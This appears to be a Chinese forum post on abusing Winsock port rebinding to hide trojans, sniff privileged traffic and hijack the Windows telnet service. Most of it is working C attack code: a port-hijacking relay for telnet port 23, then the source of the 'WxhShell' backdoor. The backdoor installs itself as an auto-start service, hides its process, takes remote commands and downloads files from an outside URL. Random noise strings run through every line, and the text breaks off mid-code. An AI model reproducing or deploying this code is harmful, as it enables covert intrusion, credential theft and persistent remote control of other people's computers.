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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C8 xZ;V]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H1QJ k_RL  
?&63#B,iZ  
  saddr.sin_family = AF_INET; /tf5Bv'<  
!O:y@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hog=ut  
8o'_`{ba  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :+z4~% jA  
l0PZ`m+;j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;h*K}U  
C1m]*}U  
  这意味着什么?意味着可以进行如下的攻击: I+[>I=ewa  
Kgi<UkFP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X[&Wkr8x '  
ymx>i~>7J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pgE}NlW  
v*SEb~[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 LSGBq  
Py@wJEo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OZ |IA:,}  
 a1t4Dd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P3)Nl^/  
X\@C.H2ttY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  CohDO  
1DE<rKI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _m gHJ0v'  
{B?Wu3-  
  #include !'&n -Q  
  #include @` 1Ds  
  #include *E/`KUG]  
  #include    | r&k48@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T`\x,` ^  
  int main() @|63K)Xy  
  { BGD8w2  
  WORD wVersionRequested; R`DKu=  
  DWORD ret; Nn~~!q  
  WSADATA wsaData; u'|4?"uz  
  BOOL val; ||hb~%JK6  
  SOCKADDR_IN saddr;  PT=2@kH  
  SOCKADDR_IN scaddr; \{Z; :,S  
  int err; pb ~u E  
  SOCKET s; ]* F\"C@  
  SOCKET sc; ?'@8kpb  
  int caddsize; 5q;GIw^L  
  HANDLE mt; T92UeG  
  DWORD tid;   X(]WVCu  
  wVersionRequested = MAKEWORD( 2, 2 ); _wkVwPr  
  err = WSAStartup( wVersionRequested, &wsaData ); kb{]>3Y"  
  if ( err != 0 ) { %l}D.ml  
  printf("error!WSAStartup failed!\n"); sk,ox~0R  
  return -1; mpI5J'>]  
  } g`vny)\7/  
  saddr.sin_family = AF_INET; aT)BR?OYSJ  
   *W0y: 3dB3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kI 4MiK  
Bm.:^:&k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bx{$Y_L+p  
  saddr.sin_port = htons(23); w)kNkD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) dZ  rAn  
  { tD(7^GuR  
  printf("error!socket failed!\n"); +cgSC5nR  
  return -1; OjJXysslXO  
  } 544X1Ww2  
  val = TRUE; ] >LhkA@V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z&1T  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ysxb?6  
  { 8\^}~s$$A  
  printf("error!setsockopt failed!\n"); V5sg#|&  
  return -1;  FT#8L  
  } u37'~&o{U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4C<j dv_J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JJ}0gZ   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8/i!' 0r\  
kP#B5K_U|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h]+C.Eqnt#  
  { P7nc7a  
  ret=GetLastError(); M dZ&A}S  
  printf("error!bind failed!\n"); 3D!5T8 @  
  return -1; @kpv{`Y  
  } 2XFU1 AW  
  listen(s,2); !sDh4jQ`  
  while(1) ^?0DP >XA  
  { %{AO+u2i  
  caddsize = sizeof(scaddr); 01r 8$+  
  //接受连接请求 8$85^Of  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); A+SE91m  
  if(sc!=INVALID_SOCKET) Sp@^XmX(S  
  { [ oL.+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); hU`wVy  
  if(mt==NULL) Gn|F`F  
  { M m[4yP%  
  printf("Thread Creat Failed!\n"); 8oUpQcim  
  break; .y_/Uwu  
  } +Z7th7W/,  
  } pk?w\A}  
  CloseHandle(mt); q qpgy7  
  } PD&\LbuG  
  closesocket(s); 5R'TcWf#W  
  WSACleanup(); (qqOjz   
  return 0; vwjPmOjhS  
  }   rai3<_W<  
  DWORD WINAPI ClientThread(LPVOID lpParam) ROg(U8 N  
  { 0fb`08,^  
  SOCKET ss = (SOCKET)lpParam; u.d).da  
  SOCKET sc; C8[&S&<_<  
  unsigned char buf[4096]; &Q;sSIc  
  SOCKADDR_IN saddr; Ss~;m']68  
  long num; :=/85\P0SU  
  DWORD val; i@P)a'W_  
  DWORD ret; < ,Ue 0  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?o oe'V@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wfU7G[  
  saddr.sin_family = AF_INET; l>Z5 uSG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); aGJC1x  
  saddr.sin_port = htons(23); As3.Q(#Z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LQ(yScA@  
  { 1<BX]-/tP  
  printf("error!socket failed!\n"); &<wuJ%'>)Z  
  return -1; QW $G  
  } ;3d"wW]}7K  
  val = 100; jGXO\:s O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ofPHmh`  
  { UUzYbuS>&l  
  ret = GetLastError(); =NnNN'}  
  return -1; m@"QDMHk.  
  } #JgH}|&a$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W%T>SpFl  
  { OK{quM5  
  ret = GetLastError(); !n* +(lZ  
  return -1; 9Wnn'T@Tl  
  } +?u~APjNN  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) q#vQv 5  
  { R A KFU  
  printf("error!socket connect failed!\n"); d]:I(9K  
  closesocket(sc); Xe<sJ. &Wf  
  closesocket(ss); ]$Yvj!K*Q  
  return -1; Fs{x(_LOr  
  } q;<h[b?  
  while(1) _CW(PsfY  
  { :uWw8`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v}1QH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ] 8Q4BW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k 8UO9r[  
  num = recv(ss,buf,4096,0); r<K(jG[:{f  
  if(num>0) GliwY_  
  send(sc,buf,num,0); Pa{%\dsv  
  else if(num==0) RRRCS]y7$t  
  break; 4*Q#0`um  
  num = recv(sc,buf,4096,0); ^.1c{0Y^0  
  if(num>0) 0Uo\wyd  
  send(ss,buf,num,0); J 4Nln  
  else if(num==0) AWP"b?^G|  
  break; ]|MEx{BG-  
  } .Xce9C0SW  
  closesocket(ss); k\WR  ]  
  closesocket(sc); 1#.>a$>  
  return 0 ; G '6@+$ppS  
  } Qp/QaVQ+  
Tav*+  
2^^`n1?'  
========================================================== 9?0^ap,T  
=at@Vp/y  
下边附上一个代码,,WXhSHELL vg3=8>#  
P"W2(d  
========================================================== &Q>k7L!  
!P)O(i=  
#include "stdafx.h" [-\%4  
^:#D0[  
#include <stdio.h> D@Vt^_  
#include <string.h> >sK!F$  
#include <windows.h> ;?8_G%va  
#include <winsock2.h> tS|(K=$  
#include <winsvc.h> xYmxc9)2  
#include <urlmon.h> ,=Mt`aN  
|QU <e  
#pragma comment (lib, "Ws2_32.lib") oW<5|FaN  
#pragma comment (lib, "urlmon.lib") 9\/xOwR  
\~fONBY  
#define MAX_USER   100 // 最大客户端连接数 {5F-5YL+>  
#define BUF_SOCK   200 // sock buffer +n#V[~~8AI  
#define KEY_BUFF   255 // 输入 buffer $e*ce94  
$Hj.{;eC/k  
#define REBOOT     0   // 重启 }HY-uQ%@g  
#define SHUTDOWN   1   // 关机 T;,cN7>>O  
Cq'KoN%nQ  
#define DEF_PORT   5000 // 监听端口 SzjkI+-$:  
p4'G$]#  
#define REG_LEN     16   // 注册表键长度 gREzZ+([  
#define SVC_LEN     80   // NT服务名长度 my}-s  
:P<]+\m  
// 从dll定义API <4P4u*/o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B5X(ykaX~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qNYN-f~@,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4"(<X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S" xKL{5  
3wC' r  
// wxhshell配置信息 :.$3vaZ@  
struct WSCFG { }[ 4r4 1[  
  int ws_port;         // 监听端口 QKr,g  
  char ws_passstr[REG_LEN]; // 口令 ^~3SSLS4"  
  int ws_autoins;       // 安装标记, 1=yes 0=no I~ok4L?VB  
  char ws_regname[REG_LEN]; // 注册表键名 ~} ,=OF-b  
  char ws_svcname[REG_LEN]; // 服务名 k~jP'aD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 . koYHq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4scNSeW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i[?Vin  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >AcrG]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^-,xE>3o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V+VkY3  
4<k9?)~(J  
}; Pmh8sw  
wS%Q<uK  
// default Wxhshell configuration eA#;AQm  
struct WSCFG wscfg={DEF_PORT, ;4.!H,d  
    "xuhuanlingzhe", 4A_[PM  
    1, A1.7 O  
    "Wxhshell", #6+@M  
    "Wxhshell", b/C`J p  
            "WxhShell Service", ~c %hWt  
    "Wrsky Windows CmdShell Service", kic/*v\6@  
    "Please Input Your Password: ", YgUvOyaQXf  
  1, 4`!Z$kt  
  "http://www.wrsky.com/wxhshell.exe", ~v6OsH%vx  
  "Wxhshell.exe" =Ur}~w&H8  
    }; aB7+Tb  
|Z=^`J  
// 消息定义模块 qI~xlW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Tl2C^j  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @wE5S6! B\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *a#rM"6P  
char *msg_ws_ext="\n\rExit."; 4cl\^yD  
char *msg_ws_end="\n\rQuit."; vTlwRG=5  
char *msg_ws_boot="\n\rReboot..."; !V i@1E  
char *msg_ws_poff="\n\rShutdown..."; f!!V${)X  
char *msg_ws_down="\n\rSave to "; X@K-^8  
P!+'1KR  
char *msg_ws_err="\n\rErr!"; _nbBIaHN{  
char *msg_ws_ok="\n\rOK!"; `C$:Yf]%nG  
f;1K5Y  
char ExeFile[MAX_PATH]; @I_8T$N=  
int nUser = 0; r[lF<2&*R  
HANDLE handles[MAX_USER]; E|6VX4`+  
int OsIsNt; aVK3?y2  
*Df,Ijh$  
SERVICE_STATUS       serviceStatus; \E% 'Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r=X}%~_8X  
qoj$]   
// 函数声明 S"OR%  
int Install(void); Aq0S-HKF  
int Uninstall(void); >rJnayLF  
int DownloadFile(char *sURL, SOCKET wsh); l i0i"  
int Boot(int flag); ]>~)<   
void HideProc(void); e S<lwA_  
int GetOsVer(void); @8;W\L$~1  
int Wxhshell(SOCKET wsl); /J:bWr  
void TalkWithClient(void *cs); 9Hc$G{[a  
int CmdShell(SOCKET sock); $!8-? ?ML  
int StartFromService(void); 5A sP5  
int StartWxhshell(LPSTR lpCmdLine); ,!7 H]4Qx  
1e&QSzL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h $L/<3oP6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;uw Ryd  
#m{UrTC  
// 数据结构和表定义 ?i06f,-  
SERVICE_TABLE_ENTRY DispatchTable[] = `eIenA  
{ rmE"rf  
{wscfg.ws_svcname, NTServiceMain}, W!6qqi{  
{NULL, NULL} 11<KpxKpk  
}; Bh=u|8yxc  
-lhLA`6_R  
// 自我安装 nIU6h  
int Install(void) kX>f^U{j  
{ Y0_),OaY  
  char svExeFile[MAX_PATH]; Z(Bp 0a  
  HKEY key; ~[\_N\rm  
  strcpy(svExeFile,ExeFile); jC7&s$>Q"g  
IFDZfx  
// 如果是win9x系统,修改注册表设为自启动 AO=h 23ZI  
if(!OsIsNt) { *T~Ve;3h;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }MHCd)78b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mw='dFt  
  RegCloseKey(key); \>7^f 3m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O }(VlR2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^V#@QPK9  
  RegCloseKey(key); 6bBB/yd  
  return 0; t=-SH^$SR  
    } |=$-Wu  
  } +eX@U;J,g  
} qeL5D*  
else { V\^EfQ  
.R9IL-3fO  
// 如果是NT以上系统,安装为系统服务 |m80]@>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,B0_MDA +  
if (schSCManager!=0) @O[}QB?/fi  
{ iv>SsW'p_  
  SC_HANDLE schService = CreateService 7LU}Iiv  
  ( \'CDRr"uw  
  schSCManager, 2EfF=Fm>  
  wscfg.ws_svcname, S6AU[ASY.  
  wscfg.ws_svcdisp, XwlbJ=mf  
  SERVICE_ALL_ACCESS, aEWWFN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4( 1(e  
  SERVICE_AUTO_START, w\DVzeW(  
  SERVICE_ERROR_NORMAL, SL;9Q[  
  svExeFile, ~d6DD;`K  
  NULL, yb/%?DNQT  
  NULL, 3Ei5pX=g  
  NULL, 'ul~7h;n  
  NULL, U)o$WH.b  
  NULL I;Bjfv5  
  ); e{v=MxO=S  
  if (schService!=0) Fm # w2o  
  { .F(i/)vaq|  
  CloseServiceHandle(schService); ^1L>l9F  
  CloseServiceHandle(schSCManager); ])Qs{hs~s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TH$N5w%  
  strcat(svExeFile,wscfg.ws_svcname); E[bd@[N 8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !ykx^z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XLH+C ]pfr  
  RegCloseKey(key); vsr[ur[eP  
  return 0; cg*)0U-_(  
    } m/qbRk68s  
  } /Ne<V2AX  
  CloseServiceHandle(schSCManager); W@Lu;g.Yc  
} [fKUyIY_  
} !V,{_(LT  
`zE}1M%y  
return 1; %LZ({\5K#f  
} a'jR#MQl?  
?zsB6B?;  
// 自我卸载 8krpowVs~  
int Uninstall(void) HH@qz2w  
{ ^>N]H>0'S  
  HKEY key; h?FmBK'BAd  
L[20m (6?  
if(!OsIsNt) { qq1-DG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mBG=jI "xh  
  RegDeleteValue(key,wscfg.ws_regname); BYo/57&:  
  RegCloseKey(key); mUz\ra;z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6^c>,.R  
  RegDeleteValue(key,wscfg.ws_regname); ^+m+zd_  
  RegCloseKey(key); !Wy[).ZAf  
  return 0; O=dJi9;`#_  
  } }LijnHH.  
} LI6hE cM=  
} IW% |G  
else { S.d^T](  
?w+Ix~k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zt&6Ua[Y}  
if (schSCManager!=0) @bnG:np  
{ K&U7H:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z ly unJD(  
  if (schService!=0) \a=D  
  { }oKG}wgY  
  if(DeleteService(schService)!=0) { 3t0[^cY8=z  
  CloseServiceHandle(schService); en:4H   
  CloseServiceHandle(schSCManager); zBP>jM(8  
  return 0; "luR9l,RRE  
  } "/nNM{^  
  CloseServiceHandle(schService); !E-Pa5s  
  } 3^Q]j^e4Ny  
  CloseServiceHandle(schSCManager); ^+1#[E  
} V86Xg:?7  
} ocyb5j  
His*t1o8'O  
return 1; 'D%w|Pe?Q  
} M!tXN&V]  
A?oXqb  
// 从指定url下载文件 !Y:0c#MPH  
int DownloadFile(char *sURL, SOCKET wsh) ??i4z[0M  
{ Izv+i*(dl  
  HRESULT hr; 0^8)jpL$<9  
char seps[]= "/"; W(Uu@^  
char *token; 4#'(" #R  
char *file; |K^"3`SJ  
char myURL[MAX_PATH]; H-xFiF  
char myFILE[MAX_PATH]; [F[K^xYTlg  
Cb_oS4vM  
strcpy(myURL,sURL); \AC|?/sH  
  token=strtok(myURL,seps); DtEwW1J  
  while(token!=NULL) ad_`x  
  { ee/&/Gt  
    file=token; W},b{NT  
  token=strtok(NULL,seps); ej O}t:}P  
  } zP;cTF(C  
3J=Y9 }  
GetCurrentDirectory(MAX_PATH,myFILE); Bs M uQ|!  
strcat(myFILE, "\\"); NcAp_q? 4  
strcat(myFILE, file); k3t78Qg  
  send(wsh,myFILE,strlen(myFILE),0); D>!6,m2  
send(wsh,"...",3,0); N7s'6(`=X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x+@&(NMP5  
  if(hr==S_OK) `+/H^  
return 0; wO>L#"X^v  
else :SsUdIX;P  
return 1; (?*BB3b`  
p<v.Q   
} "z*:'8;E  
?~QIALA  
// 系统电源模块 U5]pi+r  
int Boot(int flag) t nS+5F  
{ _7D_72  
  HANDLE hToken; jkF8\dR  
  TOKEN_PRIVILEGES tkp; :EtMH(  
'>v^6i S  
  if(OsIsNt) { =U. b% uC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (LtkA|:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bhs(Qzx  
    tkp.PrivilegeCount = 1; gs W0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YUdxG/~'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NA.1QQ ;e  
if(flag==REBOOT) { 6UE(f@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CZEW-PIhj  
  return 0; ItX5JV)  
} (#oycj^<  
else { ;_:Ool,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a0*2) uL}  
  return 0; 8:.nEo'  
} e2C<PGUUB  
  } Ft@Wyo`^  
  else { !%Y~~'5 h  
if(flag==REBOOT) { dxj*Q "K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  j4R 4H;  
  return 0; L}j0a>=x4  
} M/*NM= -a  
else { ^<0IB#dA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b%t+,0s|  
  return 0; u7;~  
} ba3-t;S  
} L z\UZeq  
L;QY<b  
return 1; D0;tcm.$  
} jvVi%k  
M"_FrIO  
// win9x进程隐藏模块 jFerYv&K~  
void HideProc(void) PVa o  
{ <TNk?df7  
^\:2}4Uj_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jvzBh-!  
  if ( hKernel != NULL ) * \HRw +cL  
  { o;[bJ Z\^x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [k]|Qi nk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nVD Xj  
    FreeLibrary(hKernel); Yn9j-`  
  } A.Bk/N1G  
}xFi& <  
return; -iCcoA  
} &D#+6M&LK{  
+[m8c){  
// 获取操作系统版本  <1&Ke  
int GetOsVer(void) <3hA!$o~  
{ K<v:-TjQZ:  
  OSVERSIONINFO winfo; ,PWj_}|L[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2*U.^]~"{  
  GetVersionEx(&winfo); yZJ*dadAr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m h;X~.98  
  return 1; Icp0A\L@  
  else 8G ]w,eF  
  return 0; [$ :  
} e@F|NCQ.9  
;5 <-)  
// 客户端句柄模块 2:$ k  
int Wxhshell(SOCKET wsl) !5x Ly6=}  
{ S)%_weLW7  
  SOCKET wsh; ,f: jioY  
  struct sockaddr_in client; :k46S<RE  
  DWORD myID; ' eO/PnYW  
CsSp=(  
  while(nUser<MAX_USER) sa1mC  
{ v@G4G*x\  
  int nSize=sizeof(client); | W#~F&{]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OYf{?-QD  
  if(wsh==INVALID_SOCKET) return 1; ~_!ts{[E  
Xz;b,C&*t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .F0]6#(  
if(handles[nUser]==0) @XOi62(  
  closesocket(wsh); w 7tC|^#G  
else |Vx~fKS\  
  nUser++; R V!o4"\]  
  } Z{{ t^+XG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dm R3Y.\jd  
] mj v;C  
  return 0; SZVV40w  
} "E*8h/4u  
OoP@-D"e  
// 关闭 socket { U <tc4^  
void CloseIt(SOCKET wsh) M@?"t_e1  
{ Q:S\0cI0  
closesocket(wsh); =8{*@>CX  
nUser--; N"DY?6  
ExitThread(0); a ]1i/3/  
} !=[uT+v  
7tH]*T9e>  
// 客户端请求句柄 CKTrZxR"  
void TalkWithClient(void *cs) qmmv7==  
{ BV9*s  
qtSs)n  
  SOCKET wsh=(SOCKET)cs; xaXV ^ZM3  
  char pwd[SVC_LEN]; MWq$AK]  
  char cmd[KEY_BUFF]; 0->/`/xm  
char chr[1]; D6!tVdnVe  
int i,j; _1JmjIH)M  
PI7IBI  
  while (nUser < MAX_USER) { ) YSh D  
U($^E}I2(  
if(wscfg.ws_passstr) { L? ;/cO^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $P?{O3:V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o_ yRn16  
  //ZeroMemory(pwd,KEY_BUFF); ]+IVSxa!u  
      i=0; "2h5m4  
  while(i<SVC_LEN) { #t5juX9Ho9  
b*9e1/]  
  // 设置超时  3t  
  fd_set FdRead; <`JG>H*B6  
  struct timeval TimeOut; hU,$|_WDy  
  FD_ZERO(&FdRead); 4]UT+'RubX  
  FD_SET(wsh,&FdRead); jA2ofC  
  TimeOut.tv_sec=8; v7@H\x*  
  TimeOut.tv_usec=0; e?)yb^7K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  nhfwOS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w67x l  
$T*KaX\{B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P,1exgq9  
  pwd=chr[0]; o5#,\Y[ g  
  if(chr[0]==0xd || chr[0]==0xa) { 9kd.j@C  
  pwd=0; < EXWWrm  
  break; ",ad7Y7i  
  } *?Wtj  
  i++; }'jV/  
    } Kcn\g.  
 EW5]!%  
  // 如果是非法用户,关闭 socket v,\93mNp[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SY6r 8RK  
} J%4HNW*p  
70<K .T<b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /s-d?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); luF#OPC  
$f(agG]  
while(1) { G4yUC<TqBP  
5 TET<f6R  
  ZeroMemory(cmd,KEY_BUFF); &V;x 4  
sUda   
      // 自动支持客户端 telnet标准   B_@7IbB  
  j=0; 6 ZHv,e`?  
  while(j<KEY_BUFF) { |Y4q+sDW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dKe@JQ+-z  
  cmd[j]=chr[0]; K|~AA"I;  
  if(chr[0]==0xa || chr[0]==0xd) { u.&|CF-  
  cmd[j]=0; NlFo$Y  
  break; a&:>Ped"  
  } rHo6iJj  
  j++; 9<qx!-s2rr  
    } ZX]A )5G  
-$tCF>,  
  // 下载文件 tnRJ#[Io  
  if(strstr(cmd,"http://")) { Ko-QR(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fSC.+,qk  
  if(DownloadFile(cmd,wsh)) (6[Wr}SW5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\q[gyR  
  else jQIV2TY[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &`sR){R  
  } {9:hg9;E*  
  else { L3>4t: 8  
(o{)>D  
    switch(cmd[0]) { F$C+R&V_  
  /~"AG l.  
  // 帮助 '7=<#Blc  
  case '?': { U:Fpj~E_w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c8tP+O9  
    break; j5A\y^Kv  
  } "D!Dr1  
  // 安装 lzI/\%  
  case 'i': { " xxXZGUp  
    if(Install()) k^yy$^=<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tpz=} q  
    else ^X(_zinN"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [sptU3,2U  
    break; TQ2i{e  
    } $WM8tF?H  
  // 卸载 `bi k/o=%  
  case 'r': { 2q$X>ImI$  
    if(Uninstall()) :!hk~#yvJ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DMRs}Yz6  
    else vy:6_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u4xA'X'~R  
    break; ;9Hz{ej  
    } ^zkd{ov  
  // 显示 wxhshell 所在路径 `O jvt-5}E  
  case 'p': { J b|mXNcL  
    char svExeFile[MAX_PATH]; X[Y #+z4  
    strcpy(svExeFile,"\n\r"); `ITDTZ J  
      strcat(svExeFile,ExeFile); 34]%d<;A  
        send(wsh,svExeFile,strlen(svExeFile),0); _]Z$YM  
    break; 1(D1}fcul  
    } i|[S5QXCh  
  // 重启 fVv$K&  
  case 'b': {  6.vNe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r6<ArX$Yl  
    if(Boot(REBOOT)) }" g@E-]N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dfXV1B5  
    else { 2voNgY  
    closesocket(wsh); Z^C!RSQ  
    ExitThread(0); @D2`*C9  
    } <,#rtVO$  
    break; 5@""_n&FV  
    } d?E4[7<t$1  
  // 关机 EywZIw?mjX  
